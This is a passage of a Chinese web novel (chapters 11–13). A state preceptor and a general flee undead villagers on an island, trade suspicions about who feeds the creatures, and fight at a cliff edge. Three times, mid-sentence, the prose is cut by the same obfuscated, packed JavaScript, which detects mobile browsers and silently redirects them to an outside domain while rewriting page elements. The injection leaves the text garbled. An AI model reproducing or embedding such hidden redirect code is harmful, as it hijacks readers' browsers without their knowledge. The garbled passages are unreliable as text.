此时此刻,他们距离村头那女孩家已经有百步余远,女孩虽发出过撕心裂肺的惨叫,但只一声便停止了。可这些……东西,就像是听到了哨声的蛇一样,陆陆续续走出屋子,朝着那女孩家行进。 而当他们看到萧明灿和檀妄生时,却又像是双脚被钉在原地般停了下来。萧明灿看不清他们的脸,却能感受到那股直白到令人不安的视线,那视线里似乎还带着诡异的笑容和天真的好奇。 前方道路狭窄崎岖,石板路上歪歪斜斜横着数辆拉鱼的板车。檀妄生放慢了些脚步,始终牵着萧明灿的手腕。 萧明灿任由他带着走,心下思索着檀妄生刚说的话,环顾周遭。的确,从这些人迟缓的行动上来看,似乎都曾受过什么伤,甚至可以说,因为伤势过重,导致“它们”就算接管身体,无论想做什么,也只能被这伤拖累行动。 可若是将这些伤放到常人身上,别说是走路迟缓怪异了,恐怕早就疼得哭天喊地,昏死过去了。 萧明灿想起了那个点燃木头灼烤自己一整夜的侍卫。他“死而复生”后,不也是顶着那一身伤,晃晃悠悠地站起来了吗? 难道“它们”感知不到任何疼痛? 萧明灿沉吟片刻,试着问:“……因为只有割喉才能彻底杀死它们?” 檀妄生说:“割喉是最简单的手段。当它们接管身体后,即使身受重伤,也能继续以那副濒死之躯存活下去,但究竟能活多久,就要看原主人的伤势了。” 萧明灿略顿一下,道:“……就像那个重伤的小女孩。” 那女孩虽然面容可怖,但身上的伤却远没有那个烧伤的侍卫严重。从她那条腿来看,应该曾失足坠崖过。这或许就是她彻底“崩溃”,被“夺走”身体的原因。而当“它”接管身体后,因为伤势并不致命,以至折断的腿奇迹般地缓慢恢复了。 “……身体这东西,还真是神奇,对吧?”檀妄生说:“我本想着等那女孩进屋,拖延点逃跑的时间后再一刀来了结她,没想到……” 萧明灿听得出檀妄生的意思。她也注意到了,那女孩明显和其他非人之物不同。从她能简单表达自己想法、知道砸窗进入屋内来看,她比其他人更有智慧,虽然这种智慧远不及常人,但正因如此,才让她各种怪异的举止被赋予了一种难以名状的、不寒而栗的恐惧。 就像她砸窗后弄得鲜血淋漓的手、那幅人像画上被固执涂抹的画粉,以及当她不慎表现出自己的非人之处时,却突然懵懂地说出了让那侍卫不由僵住的话一样。 这或许就是那东西的狡诈之处。 萧明灿还想说些什么,却见檀妄生再次放慢了脚步。 荒村尽头是两道上山的石阶,石阶中间的土里坐落着个类似鲤鱼腾跃的石雕。白布之下,萧明灿看不出做工究竟如何,却能看得到那原本应是灰色的石雕如今已经被血浸得深红。 而石雕下方的石路上,站着一个人。 那人手里提着个像是斧头的武器,当见到两人时,他整个人似乎颤抖了一下,松了手。直到那斧头短粗的轮廓 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她能感觉到身后数十道人影在拖动着残破的身子前进,嘴里还发出呓语般的呢喃:“是你杀了我们吗?是你杀了我们——” 萧明灿心里一直想着刚刚那团红影。 先前皇上派来孤岛的那些人在离城时,穿的都是清一色的深红官袍,腰别佩剑。毕竟是押送那传闻卑劣的罪将,万不能降了圣上的威严和脸面。难道那人也是之前毫无音讯的官吏之一吗? 或许只是个全身染血的怪物也说不定。 但即便是个怪物又如何呢? 萧明灿登岛的目的是为了弄清真相,不是和影将军一起来体验虎口求生的。况且,如果真有什么关于真相的线索,比起从无法信任的人口中得知,能自己亲眼瞧到,不是更好吗? 萧明灿稍一思量,索性在踏上平台时停下脚步,将白布重新挡在眼上,又稍微掀起,只留下能隐约瞧到的程度,转身看向下方。 那红影就在人群的最前方。 男人乌发散乱,官袍被雨浸透后颜色变得更深。出乎意料的是,他身上完全没有任何恐怖的伤口,至少与萧明灿之前见到的那几个相比,远远称不上是惨烈诡异。 他手上拿着一把断剑,脚步一瘸一拐,待旁边人因为身形不稳摔倒时,萧明灿才发现那男人前袍早已被磨得破烂,而缺损的位置赫然露出一块皮肉外翻的伤口,如今血虽奇迹般地止住了,却因感染生了层腐烂的白肉,看起来就像是被挫断的腿骨。 一瞬间,萧明灿想到了檀妄生腰侧的那把火铳。 顾不得那群人脚步踉跄着往石阶上挤,萧明灿看向远处被射穿脑袋的随从。 檀妄生军营里的人各个枪法准得出奇,既然能做到一击毙命,为何偏偏要射向那人的左腿? ……还有,怎么会这么巧,偏偏那官员身上再没有其他明显致命的伤口。 难道檀妄生真的是在那官员变成“怪物”之后才动手的吗? 萧明灿再次看向那人早已腐烂多日的前腿。 “——国师啊。” 檀妄生站在石阶上,朝她伸出手。当他看到兜帽下那双明净的眼睛时,微微一笑。 “看什么呢?” 11. 腐肉 寒风吹开了她的兜帽。 身后那群早已“死去”多日的人嘴里仍旧念着让人悚然的低语,他们一步一步踩上台阶,如泥流般朝着萧明灿缓慢逼近。可萧明灿却觉得,眼前的这个容貌俊美的将军,反倒更令人不寒而栗。 不过短短数息的功夫,大雨就浇透了她的黑发,水珠沿着眉峰蜿蜒下淌,滑过眼下那两颗小痣。她能感觉到右耳的耳坠正随风微微颤动,就像某种催促似的警铃。她伸出手,任由檀妄生牵住自己,表情寻常。 “……没什么,只是在想言生怎么样了。” 出乎意料的是檀妄生并没有回头,似乎对身后那群怪物完全不感兴趣,只是带着她继续往上走,“他们刚才被那些人挡住了路。那些人闻声后会越聚越多,若是不想闹出动静吸引更多人,就只能走山上那条路绕过荒村。国师放心,山路虽然陡峭难走,但这群东西眼下几乎都聚集在荒村附近觅食。他们应该不会有事。” 萧明灿罩回兜帽,听见他说到“觅食”两字时略微顿了顿,接着又止住了回头看的想法。她握着已经湿透的白布,说:“它们每逢雨天都会出来觅食吗?” 檀妄生点点头,“就像我们刚才说的那样,这就类似于动物趋光的本能。如果它们是鬼的话,那么雨天就相当于它们的七月半。不过呢,”他话锋一转,笑道:“如果一连多日都不下雨的话,它们又没有东西可吃,便会从藏身的地方偷偷溜出来,寻找食物。” 至于这能吃的“东西”是什么,倒又是一个值得深思的线索。 它们能找到什么食物? 这个渔村房屋虽多,但都已荒废许久,就算当年的渔民匆匆离开时遗留了些许存货,可这么多年过去了,不是已经坏了,就是被老鼠吃没了。它们还能找到什么?难不成是在荒村里抓老鼠吃吗? 可这里又不是鼠患成灾,哪有那么多的老鼠供它们一大群人饱腹? 难道是野果? 萧明灿很快又否定了这个想法。周围树木贫瘠,都呈着将死未死的颓势,根本不可能结出什么果子。 她心下思索着,不经意间抬头看向远处连成一片的山。 此时浓云低垂暗涌,如同一块巨石般沉压着山顶。那些树在寒风中微微摆动着枝条,萧瑟荒凉,让萧明灿想起了话本里描述的那种幢幢鬼影。而之前那颗槐树就在萧明灿的侧方,斜坡遮挡,她看不到那地方,脑海里却能清楚浮现出关于槐树附近的每一处细节。 尤其是那些伤口狰狞的尸首。 尸首。 萧明灿蓦然想起了之前那几个搬动尸体的随从。登岛那场突如其来的混乱结束不久,他们就立刻搬走了尸体。萧明灿下山时还在想着这事,当时只以为他们要准备找地掩埋,以免散在那里腐烂生味,引发疫病。但如今想来,事情应该没那么简单。 他们是影将军的部下,自然早就知道阴云一来意味着什么。如果说他们觉得对付那些成群结队涌出来的非人之物很麻烦,想要躲起来暂避锋芒的话,又为何非要在暴雨欲来的时候去搬尸体呢? 退一步来讲,就算影将军有什么莫名其妙的洁癖,看不得就这么把脏污留在那里不管,但……眼下事态缓急,孰轻孰重,他们应该心知肚明。若是在搬动尸体途中撞上那些怪物,岂不是得不偿失? 还有,他们为何偏偏要把尸体都搬进荒村?若是论寻地掩埋的话,两侧枯树丛岂不是更方便? 萧明灿又想到了先前木屉里那异常胖的老鼠,还有它口中啃食的腐肉。 檀妄生注意到了萧明灿的目光,他同样也瞧了山坡一眼,像是真的对此感到好奇似的,问:“国师在想什么?” 萧明灿实话实说:“……我在想,从渔村爆发疫病算起,已经过去五年之久,这座岛上物资贫乏,她既然是‘活人’,是怎么坚持到现在的。” 檀妄生像是今日才意识到这个问题似的,认真想了想,道:“国师在登岛前,应该已经看过这座岛的分布图了吧。我们住的那片地方土地还算肥沃,能种出蔬果,也设有储备粮食的仓房……食物嘛,也许它就是从我们那儿偷来的也不一定。” “将军说笑了。”萧明灿轻轻一哂,“刚刚登岛之时,我就见识过了那些想要试图进岛之人的下场。那么混乱的情况下,将军都能拦住‘它们’,事关到日夜久居的住处,将军又怎会轻易懈怠?” “说不定呢?”檀妄生看着她,“人无完人。再怎么缜密无措,也总会有百密一疏的时候。” “……也是,”萧明灿想了想,似乎觉得有理,说:“既然那非人之物起了袭击将军的念头,将军势必不会坐以待毙。但话虽如此,那些东西久居海岛,比将军的人更了解这里,行动也更敏捷。防守的方法也只有那么几种,轮流巡视,又或是安置陷阱。就如将军所言,即便认真对待,也总有百密一疏的时候。可……” 她顿了一下,声音在雨声中有些发闷,但语气却一如往常般平和,“将军性格直爽了当,若是真的觉得它们是个危险的隐患,与其等着它们给自己找麻烦,将军应该更倾向于先一步除掉那东西。” 话虽这么说,但萧明灿却清楚不过,那东西既然比谁都了解这座海岛,又能靠那双毫无痛觉的腿走向任何常人难以涉足的地方,数量不明,分散又杂,想要在不打草惊蛇的情况下彻底铲除绝非什么易事。 檀妄生听出了萧明灿话里的意思,一时没有回答。天边闷雷滚过,劈向远处的海面,微弱的光短暂地照亮檀妄生的侧脸,接着又被黑暗再次笼罩。 “……国师觉得,我在饲养那些怪物吗?”檀妄生稍微转头,瞥了身后一眼,指腹缓缓摩挲着火铳扳扣,笑着道:“怎么办呢?在我看来,知道太多秘密的活人,反而会比那些装神弄鬼的死人更麻烦。” 与此同时,两人走完了又陡又长的石阶。迎面便是一小片晾鱼的空地。除此之外,不远处还置放了几张石桌石椅,上面堆着小孩玩的花灯,不过早已变得陈旧破损,有些只剩下个内里的框架。 萧明灿稍稍偏头,兜帽挡住了身后的视野,她只能看到侧方被雨雾盘绕的树丛。身后那群人仍缓慢地踩着台阶行进,其中几人似乎在茫然挥舞着武器,铁铜制成的刃片剐蹭在石砖上发出声响,但又很快被那些混乱不清的呓语声盖过了。 萧明灿垂眸看向那布着刀痕的手背。雨水砸在她先前划伤的指侧,变淡的血水缓缓滑进两人交握的掌心。突然间,她心里生出一丝莫名其妙的孤立无援感。 她稍低下头,轻笑了笑,和缓道:“如果将军不想让我察觉到,刚刚就完全不会提任何和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14736352|157334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ‘食物’有关的事了。在我看来,这更像是将军在刻意让我觉得,有人在饲养那些怪物。” 檀妄生瞧着那宽大的兜帽,有点可惜没能看清她刚刚慌张的神情,明明她的指尖轻抖了一下。他也笑了起来,“就像夫子和他的学生?” 萧明灿觉得这更像是幼稚的孩子和他绞尽脑汁三日才想出的吓唬人的恶作剧。 “将军喜欢这种感觉吗?”萧明灿没有回答,反问道:“铺设谜题,然后看着身边的人为了寻找真相焦头烂额?” “若换做是其他人的话,我会觉得无聊至极。”檀妄生毫不遮掩地道:“但如果是国师的话,倒是别有一番趣味。毕竟这座岛上除了木头就是石头,总要给自己找点乐子,不是吗?” 萧明灿缓缓点头,“……看来先前登岛的其他人也经历过这种事了。” “怎么会呢,待在我身边的自始至终都只有国师一人。”檀妄生道:“不过那些人的确试图寻找过真相,但到最后基本上都成了那群怪物的同伴。” 树丛里忽然传来孩童的怪笑声。 萧明灿下意识想转头,随即又想起了方才那女孩血丝密布的眼睛,止住了动作。借着余光,她隐约能看到侧方的树丛里有几道人影,正随两人的速度在林中蹦蹦跳跳地跑着。她能感受到那股视线,就像是村头看到有权贵马车路过的孩童一样,带着纯然的好奇和天真。 “……国师猜得没错,”檀妄生始终没放开萧明灿的手,说:“那些怪物一旦找不到食物,就会想尽一切办法来饱腹,米粮、草叶、老鼠,甚至是腐肉。” 与此同时,一颗小石子突然从林中飞掷而来,像是为了吸引什么注意似的,落地后又弹跳两下,停在了檀妄生身侧。 檀妄生食指始终不离火铳扳扣。几个半大的孩子见他稍抬起手里那黑漆漆的怪东西,捂着嘴低呼一声,一溜烟跑远了。 “当然,它们虽是半死不死的怪物,但却极为讨厌腐肉。大概是因为难以下咽,又或是容易得病。总之,”檀妄生说,“不到万不得已,它们绝不会动尸体。” 萧明灿想到了之前那个随从手里拎着的头颅,“……它们更喜欢玩弄。” “但比起这些,国师知道它们最喜欢吃的是什么吗?” 萧明灿不知道檀妄生为何突然问这句。 两侧树丛里出现怪异人影,它们跑动极快,远比身后那群人更加敏捷,若是它们真打算做什么,两人无异于腹背受敌。眼下明明不是聊这件事的好时机。 她没有说话,随手将早已湿透的白布塞进口袋,提着沉重的衣摆,大步往前跑。 就在两人将要跑到尽头时,萧明灿脚步略一放慢,看向站在正前方的数道模糊人影。 檀妄生偏过头,靠近萧明灿说了句什么。几乎是话音落地的同时,一声砰响在身边炸开,远处一道人影颓然倒下。 下一刻,她又听到了声震响,但声音远没有方才的大。 刹那间,一颗铁弹几乎是擦着她的颈边射过,紧接着,她听到了重物倒地的闷响。 身后追过来的人群发出渗人的惊喊。 她看着前方那人抬起的火铳,下意识摸向侧颈,脑海里不受控制回响着刚刚檀妄生说的那句话。 “……新鲜的肉。” 12. 殉情 天边浓云翻涌,雨珠噼啪砸在缺了一角的石桌上,火铳的震响犹如雷声般在惊叫中滚过。几盏旧花灯被风扫落在地,转了两圈,便被一脚踩烂了。 “是你杀了我们吗……是你们吗——” 萧明灿在林中奔跑,白花花的树干被闪电映亮一瞬,像是林立在周围的怪墙,背后的人群依旧如影随形。 她在经过一棵树后稍稍回头,那五个拿着火铳的人已经走进林中,天色昏沉,她看不清他们的面容,但从他们挺拔的身形来看,不是影将军的部下,就是先前两批登岛的侍卫。 和荒村里那群人一样,他们走路的步调极其怪异,尤其是踏进这片雨水浇过的泥地时,就像一脚踩进了沼泽,更加难以维持平稳。 身边又是一声砰响。 其中一个端着火铳的人瘫软倒地。 身边人顿了顿,接着弯腰捡起地上的火铳,步调僵硬地走向树干,还未来得及躲藏,就被檀妄生射穿了肩膀。可那人却像是毫无所觉,仅仅只是因惯力后退了半步,看了眼肩上的血口,又躲向了树后。 萧明灿注意到了他脚上那双破损的泥草鞋。 那不是侍卫,也不是官员。檀妄生的随从人人都穿黑靴,更不可能是他们。 除此之外,还有谁能用那火铳? 紧接着,一颗铁弹砸进了她身侧两步远的树干里。萧明灿本能地抬起狐裘,挡住半空刮来的木刺,跟着手腕一紧,被檀妄生拉着躲在了一棵树后。 檀妄生趁那些人行动缓慢的空隙填装铁弹,随口道:“……国师知道那些官员为什么会成为它们的一员吗?” 萧明灿偏头看他,“将军应该不会又想说,‘因为他们太过好奇,看了太多不该看的’这种话吧。” 檀妄生还有闲情雅致地耸耸肩,不置可否,“无知是福。有的时候,若是无法承受真相,倒不如越早放手越好。” 萧明灿说:“这座海岛吊诡离奇,他们想要弄清真相也是人之常情。” 檀妄生装好最后的铁弹,转头看了那些人一眼,“如果我是他们的话,在登岛时有人和我语重心长地说不要登岛、不要乱跑之类的话,我会乖乖待着,听听风声,再做打算——国师知道吗?那些怪奇异谈的话本里,不听劝言的人,往往都不会有好下场。” “……是吗?”萧明灿道:“我倒觉得,将军会在那人话还没说完时,就把他当成个疯子给崩了。” 檀妄生瞄着身后跑得最快的一人,指腹摩挲扳扣,语气有些遗憾,“原来我在国师心里是这种形象。” 鲜血伴着砰响在男人脖颈处炸开。穿着官袍的男人举剑的手僵在半空,接着整个人不受控制向前扑倒。身后人摇摇晃晃踩着他湿透的身躯前行,不知谁脚下一滑,导致旁边人叠罗汉似的摔了一小片。 那些人倒地后仍发出渗人的呓语,握着手里的刀剑木然挥砍空气,另一只手则胡乱扒着泥土,像是打算借此来从“人山”里爬出去。萧明灿觉得自己可能很长一段时间都不会忘记这副景象了。 “……将军后悔让我亲自过来了吗?” 几声震响过后,萧明灿侧首,看向檀妄生,“因为担心我最终也会步先前那些人的后尘?” “我更愿意把这称作‘恻隐之心’。”檀妄生瞧了眼她,湿哒哒的兜帽挡住了她的眼睛,说:“国师若是成为了那东西的一员,变成那副不人不鬼的模样……”他停顿一瞬,似乎真的想象了下那场面,真诚道:“即便是死在我的手里,我也不会快乐的。” 萧明灿轻轻一哂,和缓道:“看来要让将军失望了。认定的事,我向来喜欢坚持到底。况且,我已经知道了这么多,更不能有半途而废的道理。” “这就是问题所在。”檀妄生看着她,笑了,“国师怎么能确定,自己看到的这些,就一定是‘真相’呢?” 雨声簌簌。萧明灿看着那些摇摇晃晃的身影越来越近。它们像是终于认清了教训,不再呜呜泱泱贴着一起走,而是分散开来。当其中几人中弹倒地后,那些人又放缓了步子,开始贴着树干走,有意无意似的躲着火铳前行。 檀妄生没理它们,瞄着那几个拿着火铳的人,但可惜,它们躲在树后,自始至终也未曾探头。 他问:“国师看到了什么?” 萧明灿道:“它们在观察,然后模仿我们……火铳或许也是如此,他们从将军死去的手下那里带走火铳,然后一直在暗处观察,学习,让自己变得像一个真正的活人。” 檀妄生点头,“我的人的确失踪过。但在今日之前,它们从未带着火铳出现,更没有使用过它。” 萧明灿神色微凝,既然从未拿出来用过,那为何偏偏选在今日? 难不成它们已经掌握了火铳使用之法,恰巧趁此机会来跃跃欲试? 可从它们每一发的精准度来看,今日绝对算不上是“摊牌”的好时机——要知道,此时此刻,它们已经被压在树后不敢探头了。 既然它们有模仿和观察的智慧,就不难想到,如果在胜算微乎其微的情况下,冒然暴露手中的火铳,今后檀妄生一定会将手里的火药严格收管。它们能得到这东西本就是多靠侥幸和随从的疏忽,若是檀妄生活过今日,它们此后再想靠近火铳一步,都是痴心妄—— 胜算微乎其微…… 她为何会先入为主地断定那些非人之物一定会“输”? 萧明灿猛地转头,看向那些缓缓靠近的人群,“……看来它们笃定我们今日一定会死。” 檀妄生瞧着躲在树后的那几人,“我们若是出头,那三个拿着火铳的人就会探头打我们,虽然准度差得出奇,但到底枪弹无眼。我们越靠近,就越容易被打中。而更不妙的是——” 一道闷雷打断了他的话。 “我们没时间了。”萧明灿看着那些人一点点分散,渔网似的包围过来,“它们在故意拖延时间,等着这些人慢慢包围过来。” 这是一个陷阱。 最开始,那些端着火铳的人堵在了大路上,那地方只有石桌石椅,她和檀妄生若是想要避开攻击,就只能先跑去两侧的树丛。可当两人踏进这里后,那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14736353|157334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些人倒放慢了步子,做出有意追逐的姿态,却始终游离在树丛边缘,时不时探个头,打上没什么准度的一枪,像是挥挥手就能被解决的活靶子一样,让他们把注意力都放到自己身上。 但其实天色昏沉,又下着雨,它们刻意躲在树后,场地和人数都不占优势,他们便只能与之僵持。 而僵持的代价就是被荒村那群“人”给堵住了路。 如果她和檀妄生此刻选择从包围里杀出一条路来,躲在树后的那几个必然会借机放暗箭。可如果不这么做的话…… 檀妄生拉起萧明灿的手腕,在树后那几人探头时扣动扳扣。崩出的木刺飞溅着划向那人的脸。檀妄生带着萧明灿往林深处跑,大声道:“五百步之外就是断崖,大概三层楼那么高,海浪虽然汹涌,但好在没有暗礁。国师意下如何?” 萧明灿被雨打得有些喘不上气,笼紧了兜帽,说:“马上就要入冬了,海水湍急,天寒地冻,即便是神仙,怕是也难逃一劫。” 檀妄生笑了,“那些人若是发现,国师和罪臣,这两个相看两相厌的人竟然会手牵手死在一起,到时传到皇城里去,恐怕会成为一段流传数十年的奇闻佳话。” “连死后都要成为大家饭后闲谈的话头,岂不是太惨了些。”萧明灿看向越来越近的断崖,目光转向另一侧极其陡峭的土坡,“我还不想死。走那里。” “国师的关注点只是闲谈吗?”檀妄生还在回味上个话题,有些可惜道:“我说的是可是‘殉情’。” 萧明灿两耳不闻,带着他往那边跑,道:“我看过岛上的布局图,那地方虽然狭窄陡峭,但只要跨过这个山头,就能回到荒村的石路上。” 身后火铳的声响已经消失了,那几人的确没再追过来。萧明灿转过头,天不知何时已经彻底黑了。雨声啪嗒啪嗒砸在兜帽上,偶尔一道震雷闪过,映亮周围张牙舞爪的枯树,还有那些模糊的人形轮廓。 之前躲在枯树的那几个孩子就在这附近。它们躲在树后,再次发出类似玩闹的怪笑。当萧明灿跑到山坡边上时,那些孩童又哼唱起了听不出是什么的歌谣,就像是在吸引他们的注意,又或者把她和檀妄生当成了“狼捉羊”的游戏对象。 萧明灿看向高耸陡峭的斜坡,那上面几乎没有落脚的地方,能抓住的枯草枯木也寥寥无几。 “我们跑不掉的。” 身后人放开了手,轻叹一声,“或许我们走到一半,它们就会追上我们。” 萧明灿没有说话,她侧对着檀妄生,被挡住的那只手略微抬起,探向自己狐裘下的匕首。 “……国师知道吗?”檀妄生说:“当你被狼群追逐时,为了保命,又或是为了给自己创造逃跑的时机,你会为此做什么?” 又一道闪电直劈而下,檀妄生那灰黑色的双眼映出一瞬光亮。 萧明灿看到了檀妄生牵起的嘴角,匕首无声出鞘。 檀妄生笑起来,缓缓抬起火铳,说:“如果是我的话,我会把那个与我恰好有仇的人抛下,去当吸引它们注意的诱饵。国师觉得呢?” 13. 相杀 萧明灿觉得,如果这真是一场“狼捉羊”的游戏,那么那个被“狼群”追逐的人,或许只有她自己而已。 孩童的哼唱声仍旧回荡在四周。 这声音被大雨浇得断断续续,忽强忽弱,以至于比起悠然传唱的歌谣,听起来倒更像是溺水之人在巨浪里挣扎着发出的求救。 但即便如此,萧明灿也能听出这声音大致的方向。 就在她身后那片陡峭的山坡上。也许它们躲在了某颗树后,山石边,又或是山头上……任何她几乎没办法能在对方动手前就发现的地方。她能想象到它们好奇张望的模样,或许它们的面容和那个女孩一样恐怖。 一样棘手。 既然檀妄生清楚阴雨天会冒出这么多麻烦的怪物,那么当初一开始为何要选择那小女孩的家,而不是其他的荒屋?明明其他院落也没有损毁到四面漏风的程度。 明明最开始那个神智远不及女孩的男人,在意识到自己无法闯进屋内后,就放弃了这里。 明明只要躲在其他地方,就不会被人发现,也不会落得现在这种处境。 萧明灿不禁地想,身后的山坡上到底还有多少人?它们手里拿着武器吗?刀?剑?早已破烂的船桨?又或是它们捡来的另一把火铳? 那些火铳真的是影将军不慎遗失的吗? 所以,也许这就像檀妄生所说的那样,这只是一场“游戏”。从那两艘船将要靠近海岛时,他应该就已经计划好了一切——一场怪诞而惊险的冒险?一次让人终身难忘的逃生?又或者只是即兴的—— 她没再深想下去。 一声震响在她耳边轰然炸开。铁弹砸烂了身后一截枯草,嵌进了山石里。 萧明灿右耳一片嗡鸣,一瞬间的空白里,她只能听见自己不稳的呼吸声——多亏了她刚才一直牵着檀妄生,以至两人的距离足够让她握住枪管,在他扣动扳扣前改变方向。 “——我猜,” 檀妄生用枪管挡住迎面刮来的匕首,刀锋与玄铁相撞发出一声铮响,“国师一定在想,我到底在这其中扮演什么样的角色。” 萧明灿顺着匕首的惯力翻身,抬腿狠踹向他胸口。檀妄生当即抬臂架挡,因为不防国师,生生被这力道逼得退了一步,意外地瞧了眼被踹出印子的小臂。 萧明灿平和地道:“也许是这群‘狼’的狼王?” 与此同时,那些分散在林中的人正僵硬地挪动步子,他们似乎终于对火铳的声音感到畏惧,稍稍放缓了速度。附近的童谣声仍在回荡着,甚至隐隐压过了雨声。萧明灿没有回头,但能感觉到那些孩童似乎越聚越多,此刻正兴致勃勃地望着他们,就像在围观一场热闹的杂耍。 “狼王吗……”檀妄生似乎觉得这个想法很有意思,笑了笑道:“看到山上那几个孩子了吗?‘他们’从没有杀过人,一个都没有。唯一的乐趣也只是像现在这样哼哼歌,在旁边好奇窥视着外来者。” 寒风吹开了萧明灿的兜帽,檀妄生终于瞧到了那双明净的黑瞳,他握了握手里的长管铳,声音散漫得就像在某个午后和友人谈论街边的人来人往,“要我说,‘他们’温顺得简直就像只羔羊。” 而当话音落地时,萧明灿已经冲到了檀妄生眼前,铁弹从她耳边掠过,伴着一声呜咽似的惨叫,山上一道黑影滚落而下,接着,萧明灿听到了身后类似枪管撞上山石时发出的清响。 檀妄生向后仰身,避开了迎面挥来的刀刃。萧明灿手中匕首灵巧翻转,却在反刺他侧颈时被抬腕架挡。她并不觉得遗憾,声音镇静如常,“看来比起‘狼王’,将军更喜欢‘牧羊人’这个称呼。将军喜欢扮演好人吗?或者说,喜欢扮演帮助不慎陷进未知危险之人的救赎者?” 檀妄生稍一挑眉,“然后再看着他们落进更绝望的处境?看着他们在临死前才恍然大悟,那个救赎者原来就是制造一切祸端的人?” 他并没有拉开距离,而是扣住萧明灿的手腕,同时伸腿扫向她的脚踝。萧明灿重心不稳,在腾空的瞬间,握着匕首的指尖略微松力,想要换手去接,然而檀妄生却果断扔了长管铳,挡住她略微抬起的左手,掐向她的脖颈。 水洼被砸得泥珠四溅。闷雷巧妙地掩盖了两人重重倒地时发出的闷响。檀妄生背对着山坡,一手扣住萧明灿握刀的手,而另一手仍掐着她的脖子,他听着身下人几不可闻的闷哼声,简直算得上是好心地略微松手,给她喘息的机会。 “……国师的想象力未免也太丰富了些。”他看着萧明灿的双眼,语气里仍带着毫无紧迫的悠然笑意,“若是不当国师,改行去写话本,想来也能富甲一方,大有所为。” “……凭空构想的情节可远比不上真正发生的事。” 萧明灿喉咙里漫上一股腥甜,她偏头呛咳起来,看向那把被甩在地上的长管铳。她缓了半晌,直到视线的尽头出现了几双摇摇晃晃的腿影,才缓缓扯动嘴角。 “之前那些被派去军营的监军应该也遭遇过类似的事吧?他们各个面露惧色,就像有什么难言之隐一样……如今来看,他们那说不出缘由的怪异之处也都有了答案。他们明知道是将军在给他们设套,却找不出丝毫证据。” “……原来国师也喜欢听信传闻吗?”檀妄生指腹缓缓摩挲着她侧颈的脉搏,“世间传闻大多真假难辨,我以为国师不会相信这些的——国师难道不是比任何人都清楚这一点吗?就像人人皆说国师是个亲和良善的好脾气,就连宫里脾性最挑剔的猫见了国师都主动贴近,但——” 檀妄生略微一顿。他缓缓低头,瞥了眼顶在肋部的短粗枪筒,意犹未尽地笑了起来,低声说:“他们怎么都不知道呢?真正的国师,手段可比任何人都要狠毒。” 两人距离断崖不过几步远,浪涛狂躁地拍打着礁石,听起来就像迫不及待等待喂食的猛兽。 萧明灿略微偏头,看向林中的那些黑影,它们似乎被地上的长管铳吸引了,明显加快了脚步,嘴里开始含糊念着“是我的”之类的话,身子在半昏半暗的光线里摇摇晃晃。 她在它们走到能看清身上伤口的距离之前收回目光,看向自己上方的这双眼睛,“在将军面前,我这点自保的手段即便再狠毒,也都称得上是良善了。” “良善……”檀妄生低声念了遍这个词,但语气里却不带任何值得深思的意味。他仍维持掐着她脖颈的姿势,尽管此时有更危险的东西在抵着他。 那些怪物的脚步越来越近。身后的歌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14736354|157334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谣声也渐渐变得难以忽视。林中那些粘稠而黑暗的影子全都在向两人聚拢,犹如野鬼在缓慢而谨慎地靠近祭坛上美味的祭品。 “国师知道这东西该如何用吗?”檀妄生就这么静静看着萧明灿,一点一点压紧了她的手腕,看着她因这力道一寸寸放开匕首,“以它的威力,至少我还能活上一段时间。而这段时间里,我会先拧断国师的手腕。国师知道吗?岛上草药匮乏,更不存在什么随时候着的御医,生了病都是自己给自己当大夫。但即便如此,我相信国师也一定不会因断了手就有性命之虞。你会活下去的。” 雨珠沿着他的下颌淌下,坠进了她的衣领里。他缓缓露出一个亲切的微笑,“等国师日后每每看到这成了摆设的右手,应该就会想起我吧。就算我死了,也依旧日日夜夜活在国师的脑袋里。从某种意义上来说,我们也算是相伴一生了。” “……原来将军是这种阴魂不散粘着人的类型。”萧明灿轻哂道,“怎么办,我对早已死去的人可不感兴趣。到时逛几趟花楼,说不定就把将军抛之脑后,连长什么样子都想不起来了。” “那——” 话音未落,萧明灿稍一抬手,果断扳动弯钩,短管火铳霎时崩出三发流弹,砸翻了离两人最近的一道人影。 其余人影怔愣在原地,似乎还没反应过来,童谣声也戛然而止。 接着,萧明灿屈膝顶上檀妄生的小腹,掀翻了他—— 即便是那些半痴半傻的怪物,应该也没想到萧明灿怎么会有那么大的力气——也许就是趁着它们试图思考的那一瞬间,檀妄生捞起那把长管铳,单膝跪地,瞄准了山坡刚从暗处出来、正准备下山的几道黑影。 砰——砰—— 砰—— 数道黑影如泥流般从山坡滚下,手里不知从哪捡来的火铳也跟着滚落在地。一个看不清脸的孩童瞧了眼脚下的火铳,僵硬了一瞬,颤颤地伸出手,却被一声砰响逼退了回去。 